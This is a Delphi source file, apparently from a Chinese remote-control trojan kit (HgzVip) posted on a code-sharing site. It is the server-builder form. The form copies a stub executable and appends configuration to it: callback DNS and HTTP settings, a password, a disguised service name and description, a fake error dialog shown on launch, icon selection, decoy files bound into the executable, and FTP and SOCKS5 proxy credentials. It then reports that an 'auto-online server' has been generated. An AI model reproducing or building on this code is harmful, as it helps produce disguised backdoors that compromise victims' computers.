www.pudn.com > HgzVip1.2_code.rar > ConfigServerUnit.pas


unit ConfigServerUnit; 
 
 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, DynamicSkinForm, SkinCtrls, ComCtrls, SkinBoxCtrls, StdCtrls, 
  Mask, ExtCtrls, SkinTabs, jpeg, ShellApi,DESCrypt, LangFrm; 
 
type 
  FILE_INFO=record 
    Filename:array[0..MAX_PATH] of char; 
    Por:array[0..MAX_PATH] of char; 
    isopen:integer; 
    len:integer; 
  end; 
 
 
type 
  TConfigServer = class(TLangForm) 
    SaveDialog1: TSaveDialog; 
    PageControl6: TspSkinPageControl; 
    TabSheet1: TspSkinTabSheet; 
    TabSheet2: TspSkinTabSheet; 
    Label8: TspSkinStdLabel; 
    ComboBox1: TspSkinComboBox; 
    Label9: TspSkinStdLabel; 
    ComboBox2: TspSkinComboBox; 
    CheckBox1: TspSkinCheckRadioBox; 
    CheckBox2: TspSkinCheckRadioBox; 
    TabSheet3: TspSkinTabSheet; 
    CheckBox6: TspSkinCheckRadioBox; 
    Label10: TspSkinStdLabel; 
    BtEdit: TspSkinEdit; 
    Label11: TspSkinStdLabel; 
    ZwEdit: TspSkinEdit; 
    Label12: TspSkinStdLabel; 
    ComboBox6: TspSkinComboBox; 
    Label13: TspSkinStdLabel; 
    ComboBox7: TspSkinComboBox; 
    TabSheet4: TspSkinTabSheet; 
    CheckBox3: TspSkinCheckRadioBox; 
    spSkinPanel1: TspSkinPanel; 
    OverEdit: TspSkinEdit; 
    Label26: TspSkinStdLabel; 
    NextButton: TspSkinButton; 
    TabSheet5: TspSkinTabSheet; 
    spSkinGroupBox1: TspSkinGroupBox; 
    spSkinGroupBox2: TspSkinGroupBox; 
    RadioBox5: TspSkinCheckRadioBox; 
    Label20: TspSkinStdLabel; 
    FtpPort: TspSkinEdit; 
    Label21: TspSkinStdLabel; 
    Ftpuser: TspSkinEdit; 
    Label22: TspSkinStdLabel; 
    Ftppass: TspSkinEdit; 
    Banner: TspSkinEdit; 
    Label23: TspSkinStdLabel; 
    RadioBox10: TspSkinCheckRadioBox; 
    Label17: TspSkinStdLabel; 
    Socks5port: TspSkinEdit; 
    Label18: TspSkinStdLabel; 
    Socks5User: TspSkinEdit; 
    Label19: TspSkinStdLabel; 
    Socks5pass: TspSkinEdit; 
    Button10: TspSkinButton; 
    TabSheet6: TspSkinTabSheet; 
    Label25: TspSkinStdLabel; 
    spSkinEdit1: TspSkinEdit; 
    spSkinButton1: TspSkinButton; 
    CheckBox10: TspSkinCheckRadioBox; 
    spSkinButton2: TspSkinButton; 
    spSkinPanel2: TspSkinPanel; 
    ListView1: TspSkinListView; 
    spSkinScrollBar22: TspSkinScrollBar; 
    spSkinScrollBar23: TspSkinScrollBar; 
    Label24: TspSkinStdLabel; 
    spSkinEdit2: TspSkinEdit; 
    RadioBox1: TspSkinCheckRadioBox; 
    Label14: TspSkinStdLabel; 
    ServerView: TspSkinEdit; 
    Label15: TspSkinStdLabel; 
    ServerName: TspSkinEdit; 
    Label16: TspSkinStdLabel; 
    ServerText: TspSkinEdit; 
    OpenDialog2: TOpenDialog; 
    spDynamicSkinForm1: TspDynamicSkinForm; 
    Label1: TspSkinStdLabel; 
    com126Edit: TspSkinEdit; 
    DnsEdit: TspSkinEdit; 
    Label2: TspSkinStdLabel; 
    httpEdit: TspSkinEdit; 
    Label3: TspSkinStdLabel; 
    Label4: TspSkinStdLabel; 
    Passwd: TspSkinEdit; 
    Label5: TspSkinStdLabel; 
    Image2: TImage; 
    UpDown1: TspSkinUpDown; 
    GrEdit3: TspSkinEdit; 
    Label6: TspSkinStdLabel; 
    Label7: TspSkinStdLabel; 
    BeizhuEdit: TspSkinEdit; 
    procedure NextButtonClick(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
    procedure OverEditButtonClick(Sender: TObject); 
    procedure CheckBox6Click(Sender: TObject); 
    procedure RadioBox5Click(Sender: TObject); 
    procedure RadioBox10Click(Sender: TObject); 
    procedure Button10Click(Sender: TObject); 
    procedure UpDown1Change(Sender: TObject); 
    procedure spSkinEdit1ButtonClick(Sender: TObject); 
    procedure spSkinButton1Click(Sender: TObject); 
    procedure spSkinButton2Click(Sender: TObject); 
    procedure RadioBox1Click(Sender: TObject); 
    procedure FormShow(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
 
    function JieMi(s:string):string; 
    function JiaMi(s:string):string; 
     
    procedure Setfile1; 
  end; 
 
 
var 
  ConfigServer: TConfigServer; 
 
 
implementation 
 
uses 
  Main,DlgshowUnit; 
 
 
{$R *.dfm} 
 
 
function TConfigServer.JieMi(s:string):string; 
var str:String; 
    i:integer; 
    ch:char; 
begin 
  Result:=s; 
end; 
 
function TConfigServer.JiaMi(s:string):string; 
var str:string; 
    i:Integer; 
    ch:char; 
begin 
   Result:=s; 
end; 
 
 
procedure TConfigServer.Setfile1; 
 var 
   i:integer; 
   SS:integer; 
   info:FILE_INFO; 
   fstream1:Tfilestream; 
   fstream2:Tfilestream; 
   buf:array[0..4096] of byte; 
   F:File; 
   Str:array [1..100] of char; 
   j,k,l,m,n:String; 
   S:String; 
   Each_size:array [1..27]of char; 
   SfileSize:integer; 
begin 
   SfileSize:=0; 
   try 
   if ListView1.Items.Count>0 then 
     begin 
       try 
       fstream1:=tfilestream.Create(pchar(OverEdit.text),fmopenreadwrite); 
       fstream1.Seek(0,soFromEnd); 
       SfileSize:=fstream1.Size; 
       for i:=0 to ListView1.Items.Count-1 do 
         begin 
           Strpcopy(info.filename,extractfilename(ListView1.Items.Item[i].SubItems.Strings[0])); 
           Strpcopy(info.Por,ListView1.Items.Item[i].SubItems.Strings[1]); 
           fstream2:=tfilestream.Create(ListView1.Items.Item[i].SubItems.Strings[0],fmopenread); 
           fstream2.Seek(0,soFromBeginning); 
           info.len:=fstream2.Size; 
           if ListView1.Items.Item[i].Checked then 
             info.isopen:=1 
           else 
             info.isopen:=0; 
           fstream1.Write(info,sizeof(info)); 
           while fstream2.Position<>fstream2.Size do 
             begin 
               SS:=fstream2.Read(buf,sizeof(buf)); 
               fstream1.Write(buf,SS); 
             end; 
           fstream2.free; 
         end; 
       finally 
         fstream1.free; 
       end; 
     end; 
   except 
   end; 
 
   AssignFile(F,OverEdit.text); 
   FileMode:=2; 
   Reset(F,1); 
   Seek(F,Filesize(F)); 
 
   for i:=1 to 2 do Str[i]:=Char(0); 
   j:=inttostr(ComboBox1.ItemIndex); 
   S:=JiaMi(j); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[1]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(ComboBox2.text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[2]:=Char(length(S)); 
 
   for i:=1 to 3 do Str[i]:=Char(0); 
   if CheckBox1.Checked then j:='1' 
   else j:='0'; 
   if CheckBox2.Checked then k:='1' 
   else k:='0'; 
   S:=JiaMi(j+k); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,str,length(S)); 
   Each_size[3]:=Char(length(S)); 
 
   for i:=1 to 3 do Str[i]:=Char(0); 
      if CheckBox3.Checked then j:='1' 
       else j:='0'; 
      if RadioBox1.Checked then k:='1' 
       else k:='0'; 
 
   S:=JiaMi(j+k); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[4]:=Char(length(S)); 
 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(ServerView.Text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[5]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=char(0); 
   S:=JiaMi(ServerName.Text); 
   for i:=1 to Length(S) do Str[i]:=S[i]; 
   BlockWrite(F,Str,length(S)); 
   Each_size[6]:=char(length(s)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(ServerText.text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[7]:=Char(length(S)); 
 
 
   for i:=1 to 4 do Str[i]:=Char(0); 
   if CheckBox6.Checked then j:='1' 
    else j:='0'; 
   k:=inttoStr(ComboBox6.ItemIndex); 
   l:=inttoStr(ComboBox7.ItemIndex); 
   S:=JiaMi(j+k+l);                      
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[8]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(BtEdit.Text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[9]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(ZwEdit.Text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[10]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(inttoStr(SfileSize)); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[11]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(com126Edit.Text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[12]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=char(0); 
   S:=JiaMi(DnsEdit.Text); 
   for i:=1 to Length(S) do Str[i]:=S[i]; 
   BlockWrite(F,Str,length(S)); 
   Each_size[13]:=char(length(s)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(httpEdit.text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[14]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(Passwd.text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[15]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(GrEdit3.text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[16]:=Char(length(S)); 
 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(inttostr(UpDown1.Position)); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[17]:=Char(length(S)); 
 
   for i:=1 to 100 do Str[i]:=Char(0); 
   S:=JiaMi(BeizhuEdit.text); 
   For i:=1 to length(S) do Str[i]:=S[i]; 
   Blockwrite(F,Str,length(S)); 
   Each_size[18]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    if RadioBox5.Checked then j:='1' 
       else j:='0'; 
    S:=JiaMi(j); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S)); 
    Each_size[19]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    S:=JiaMi(FtpPort.Text); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S)); 
    Each_size[20]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    S:=JiaMi(Ftpuser.Text); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S)); 
    Each_size[21]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    S:=JiaMi(Ftppass.Text); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S)); 
    Each_size[22]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    S:=JiaMi(Banner.Text); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S)); 
    Each_size[23]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    if RadioBox10.Checked then j:='1' 
    else j:='0'; 
    S:=JiaMi(j); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S));              
    Each_size[24]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    S:=JiaMi(Socks5port.Text); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S)); 
    Each_size[25]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    S:=JiaMi(Socks5User.Text); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S)); 
    Each_size[26]:=Char(length(S)); 
 
    for i:=1 to 100 do Str[i]:=Char(0); 
    S:=JiaMi(Socks5pass.Text); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,length(S)); 
    Each_size[27]:=Char(length(S)); 
 
    Blockwrite(F,Each_size,27); 
 
    for i:=1 to 7 do str[i]:=char(0); 
    S:=JiaMi('HGZVIP1'); 
    For i:=1 to length(S) do Str[i]:=S[i]; 
    Blockwrite(F,Str,7); 
 
    CloseFile(F); 
 
    MessageBox(0,Pchar(Translate('String4','生成自动上线服务端完成!')),Pchar(Translate('String5','提示')),MB_OK+MB_ICONINFORMATION); 
end; 
 
procedure TConfigServer.NextButtonClick(Sender: TObject); 
begin 
 
  if Not HgzVip.NoisReg then 
   begin 
     Exit; 
   end; 
try 
   if not FileExists(ExtractFilePath(Paramstr(0))+'Cache\CServer.exe') then 
     begin                          //找不到原始的服务器程序.请重新安装! 
       MessageBox(0,Pchar(Translate('String0','找不到原始的服务器程序.请重新安装!')),Pchar(Translate('String1','警告')),MB_OK+MB_ICONINFORMATION); 
       Close; 
       Exit; 
     end; 
     CopyFile(PChar(ExtractFilePath(Paramstr(0))+'Cache\CServer.exe'), PChar(OverEdit.Text),False); 
     Setfile1; 
     Close; 
except        //配置出错!请检查磁盘是否可写或其它!! 
  MessageBox(0,Pchar(Translate('String2','配置出错!请检查磁盘目标文件是否可写或其它!!')),Pchar(Translate('String3','出错')),MB_OK+MB_ICONINFORMATION); 
end; 
end; 
 
procedure TConfigServer.FormCreate(Sender: TObject); 
begin 
OverEdit.Text:=ExtractFilePath(Paramstr(0))+DeCryptStr('F1ACB1ABF82402E97A48D9D8E9DEB058',Head); 
  ComboBox6.Items.Clear; 
  ComboBox6.Items.Add(Translate('ComboBox6[0]','普通')); 
  ComboBox6.Items.Add(Translate('ComboBox6[1]','询问')); 
  ComboBox6.Items.Add(Translate('ComboBox6[2]','警告')); 
  ComboBox6.Items.Add(Translate('ComboBox6[3]','错误')); 
  ComboBox6.ItemIndex :=0; 
 
  ComboBox7.Items.Clear; 
  ComboBox7.Items.Add(Translate('ComboBox7[0]','确定')); 
  ComboBox7.Items.Add(Translate('ComboBox7[1]','确定、取消')); 
  ComboBox7.Items.Add(Translate('ComboBox7[2]','是、否')); 
  ComboBox7.Items.Add(Translate('ComboBox7[3]','是、否、取消')); 
  ComboBox2.Items.Add(Translate('ComboBox7[4]','重试、取消')); 
  ComboBox7.Items.Add(Translate('ComboBox7[5]','终止、重试、忽略')); 
  ComboBox7.ItemIndex :=0; 
end; 
 
procedure TConfigServer.OverEditButtonClick(Sender: TObject); 
begin 
if SaveDialog1.Execute then 
begin 
OverEdit.Text:=SaveDialog1.FileName; 
try 
if pos('.exe',OverEdit.Text)=0 then 
  begin 
    OverEdit.Text:=OverEdit.Text+'.exe'; 
  end; 
except 
end; 
end; 
end; 
 
 
 
 
procedure TConfigServer.CheckBox6Click(Sender: TObject); 
begin 
    Label10.Enabled:=CheckBox6.Checked; 
    Label11.Enabled:=CheckBox6.Checked; 
    Label12.Enabled:=CheckBox6.Checked; 
    Label13.Enabled:=CheckBox6.Checked; 
    BtEdit.Enabled:=CheckBox6.Checked; 
    ZwEdit.Enabled:=CheckBox6.Checked; 
    ComboBox6.Enabled:=CheckBox6.Checked; 
    ComboBox7.Enabled:=CheckBox6.Checked; 
end; 
 
procedure TConfigServer.RadioBox5Click(Sender: TObject); 
begin 
    Label20.Enabled:=RadioBox5.Checked; 
    Label21.Enabled:=RadioBox5.Checked; 
    Label22.Enabled:=RadioBox5.Checked; 
    FtpPort.Enabled:=RadioBox5.Checked; 
    Ftpuser.Enabled:=RadioBox5.Checked; 
    Ftppass.Enabled:=RadioBox5.Checked; 
    Label23.Enabled:=RadioBox5.Checked; 
    Banner.Enabled:=RadioBox5.Checked; 
end; 
 
procedure TConfigServer.RadioBox10Click(Sender: TObject); 
begin 
    Label17.Enabled:=RadioBox10.Checked; 
    Label18.Enabled:=RadioBox10.Checked; 
    Label19.Enabled:=RadioBox10.Checked; 
    Socks5User.Enabled:=RadioBox10.Checked; 
    Socks5Pass.Enabled:=RadioBox10.Checked; 
    Socks5port.Enabled:=RadioBox10.Checked; 
end; 
 
procedure TConfigServer.Button10Click(Sender: TObject); 
var 
Dlg:TDlgshowThread; 
begin 
if CheckBox6.Checked then 
Dlg:=TDlgshowThread.Create(ZwEdit.Text,BtEdit.Text,ComboBox6.ItemIndex,ComboBox7.ItemIndex); 
end; 
 
procedure TConfigServer.UpDown1Change(Sender: TObject); 
begin 
HgzVip.ImageList2.GetIcon(UpDown1.Position,Image2.Picture.Icon); 
end; 
 
procedure TConfigServer.spSkinEdit1ButtonClick(Sender: TObject); 
begin 
if OpenDialog2.Execute then 
  begin 
    spSkinEdit1.Text:=OpenDialog2.FileName; 
  end; 
end; 
 
procedure TConfigServer.spSkinButton1Click(Sender: TObject); 
begin 
  if (spSkinEdit1.Text='') or (not FileExists(spSkinEdit1.Text)) then 
    begin            
      MessageBox(0,Pchar(DeCryptStr('7493D03BEA79DA4E2D6845BBCD68C7CF9BCE3ACAF54159787F80BDED6F0737FE',Head)),Pchar(DeCryptStr('A470DE932E4721C6',Head)),MB_OK+MB_ICONINFORMATION); 
      Exit;         
    end; 
  with ListView1.Items.Add do 
    begin 
      Caption :=''; 
      Subitems.Add(spSkinEdit1.text); 
      Subitems.Add(spSkinEdit2.text); 
      Checked:=CheckBox10.Checked; 
    end; 
end; 
 
procedure TConfigServer.spSkinButton2Click(Sender: TObject); 
var 
  li: TListItem; 
begin 
    li := ListView1.Selected; 
    if li = nil then Exit; 
    li.Delete; 
end; 
 
procedure TConfigServer.RadioBox1Click(Sender: TObject); 
begin 
    Label14.Enabled := RadioBox1.Checked; 
    Label15.Enabled := RadioBox1.Checked; 
    Label16.Enabled := RadioBox1.Checked; 
    ServerView.Enabled := RadioBox1.Checked; 
    ServerName.Enabled := RadioBox1.Checked; 
    ServerText.Enabled := RadioBox1.Checked; 
end; 
 
procedure TConfigServer.FormShow(Sender: TObject); 
begin 
  ComboBox6.Items.Clear; 
  ComboBox6.Items.Add(Translate('ComboBox6[0]','普通')); 
  ComboBox6.Items.Add(Translate('ComboBox6[1]','询问')); 
  ComboBox6.Items.Add(Translate('ComboBox6[2]','警告')); 
  ComboBox6.Items.Add(Translate('ComboBox6[3]','错误')); 
  ComboBox6.ItemIndex :=0; 
 
  ComboBox7.Items.Clear; 
  ComboBox7.Items.Add(Translate('ComboBox7[0]','确定')); 
  ComboBox7.Items.Add(Translate('ComboBox7[1]','确定、取消')); 
  ComboBox7.Items.Add(Translate('ComboBox7[2]','是、否')); 
  ComboBox7.Items.Add(Translate('ComboBox7[3]','是、否、取消')); 
  ComboBox2.Items.Add(Translate('ComboBox7[4]','重试、取消')); 
  ComboBox7.Items.Add(Translate('ComboBox7[5]','终止、重试、忽略')); 
  ComboBox7.ItemIndex :=0; 
end; 
 
end.